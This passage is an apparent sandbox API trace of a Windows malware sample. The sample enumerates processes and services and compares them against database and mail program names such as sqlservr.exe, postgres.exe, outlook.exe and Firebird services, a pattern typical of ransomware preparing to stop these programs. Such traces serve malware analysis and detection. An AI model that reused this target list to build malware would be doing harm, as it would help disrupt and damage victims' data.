lpString2="lsass.exe") returned 1 [0132.439] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0132.439] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0132.440] lstrlenW (lpString="lsm.exe") returned 7 [0132.440] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0132.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0132.440] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0132.440] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0132.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0132.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0132.440] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0132.440] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.440] lstrlenW (lpString="svchost.exe") returned 11 [0132.440] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.440] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.440] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.440] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.440] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.440] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.440] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.440] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.441] lstrlenW (lpString="svchost.exe") returned 11 [0132.441] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.441] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.441] lstrlenW (lpString="svchost.exe") returned 11 [0132.441] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.441] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.441] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.442] lstrlenW (lpString="svchost.exe") returned 11 [0132.442] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.442] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.442] lstrlenW (lpString="svchost.exe") returned 11 [0132.442] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.442] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.442] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0132.443] lstrlenW (lpString="audiodg.exe") returned 11 [0132.443] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0132.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0132.443] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0132.443] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0132.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0132.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0132.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0132.443] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.443] lstrlenW (lpString="svchost.exe") returned 11 [0132.443] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0132.443] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0132.443] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0132.443] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0132.443] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0132.443] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0132.443] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0132.444] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0132.444] lstrlenW (lpString="userinit.exe") returned 12 [0132.444] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0132.444] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0132.444] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0132.444] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0132.444] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0132.444] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0132.444] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0132.444] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0132.444] lstrlenW (lpString="explorer.exe") returned 12 [0132.444] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0132.445] lstrlenW (lpString="dwm.exe") returned 7 [0132.445] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.445] lstrlenW (lpString="svchost.exe") returned 11 [0132.445] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0132.445] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0132.445] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0132.446] lstrlenW (lpString="spoolsv.exe") returned 11 [0132.446] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0132.446] lstrlenW (lpString="dllhost.exe") returned 11 [0132.446] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0132.446] lstrlenW (lpString="reader_sl.exe") returned 13 [0132.447] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0132.447] lstrlenW (lpString="svchost.exe") returned 11 [0132.447] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0132.447] lstrlenW (lpString="taskhost.exe") returned 12 [0132.447] Process32NextW (in: hSnapshot=0x380, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0132.448] CloseHandle (hObject=0x380) returned 1 [0132.448] Sleep (dwMilliseconds=0x1f4) [0133.011] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293df8 [0133.054] EnumServicesStatusExW (in: hSCManager=0x4293df8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0133.054] GetLastError () returned 0xea [0133.054] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xacc) returned 0x428b3d0 [0133.054] EnumServicesStatusExW (in: hSCManager=0x4293df8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428b3d0, cbBufSize=0xacc, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428b3d0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0133.055] CloseServiceHandle (hSCObject=0x4293df8) returned 1 [0133.055] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0133.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0133.055] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0133.055] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0133.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0133.055] lstrlenW (lpString="AudioSrv") returned 8 [0133.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0133.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0133.055] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0133.055] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0133.055] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0133.055] lstrlenW (lpString="BFE") returned 3 [0133.055] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0133.055] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0133.055] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0133.056] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0133.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0133.056] lstrlenW (lpString="CscService") returned 10 [0133.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0133.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0133.056] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0133.056] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0133.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0133.056] lstrlenW (lpString="DcomLaunch") returned 10 [0133.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0133.056] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0133.056] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0133.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0133.056] lstrlenW (lpString="Dhcp") returned 4 [0133.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0133.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0133.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0133.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0133.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0133.056] lstrlenW (lpString="Dnscache") returned 8 [0133.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0133.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0133.056] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0133.056] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0133.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0133.056] lstrlenW (lpString="eventlog") returned 8 [0133.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0133.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0133.056] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0133.056] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0133.056] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0133.056] lstrlenW (lpString="EventSystem") returned 11 [0133.056] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0133.056] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0133.056] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0133.057] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0133.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0133.057] lstrlenW (lpString="gpsvc") returned 5 [0133.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0133.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0133.057] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0133.057] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0133.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0133.057] lstrlenW (lpString="LanmanWorkstation") returned 17 [0133.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0133.057] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0133.057] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0133.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0133.057] lstrlenW (lpString="lmhosts") returned 7 [0133.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0133.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0133.057] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0133.057] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0133.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0133.057] lstrlenW (lpString="MMCSS") returned 5 [0133.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0133.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0133.057] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0133.057] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0133.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0133.057] lstrlenW (lpString="MpsSvc") returned 6 [0133.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0133.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0133.057] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0133.057] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0133.057] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0133.057] lstrlenW (lpString="nsi") returned 3 [0133.057] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0133.057] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0133.057] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0133.058] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0133.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0133.058] lstrlenW (lpString="PlugPlay") returned 8 [0133.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0133.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0133.058] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0133.058] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0133.058] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0133.058] lstrlenW (lpString="Power") returned 5 [0133.058] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0133.058] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0133.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0133.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0133.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0133.059] lstrlenW (lpString="ProfSvc") returned 7 [0133.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0133.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0133.059] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0133.059] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0133.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0133.059] lstrlenW (lpString="RpcEptMapper") returned 12 [0133.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0133.059] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0133.059] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0133.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0133.059] lstrlenW (lpString="RpcSs") returned 5 [0133.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0133.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0133.059] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0133.059] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0133.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0133.059] lstrlenW (lpString="SamSs") returned 5 [0133.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0133.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0133.059] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0133.059] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0133.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0133.059] lstrlenW (lpString="Schedule") returned 8 [0133.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0133.059] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0133.059] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0133.059] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0133.059] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0133.059] lstrlenW (lpString="SENS") returned 4 [0133.059] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0133.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0133.060] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0133.060] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0133.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0133.060] lstrlenW (lpString="ShellHWDetection") returned 16 [0133.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0133.060] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0133.060] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0133.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0133.060] lstrlenW (lpString="Spooler") returned 7 [0133.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0133.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0133.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0133.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0133.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0133.060] lstrlenW (lpString="Themes") returned 6 [0133.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0133.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0133.060] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0133.060] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0133.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0133.060] lstrlenW (lpString="UxSms") returned 5 [0133.060] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0133.060] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0133.060] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0133.060] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0133.060] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0133.060] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x428b3d0 | out: hHeap=0x880000) returned 1 [0133.060] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x36c [0133.062] Process32FirstW (in: hSnapshot=0x36c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0133.062] Process32NextW 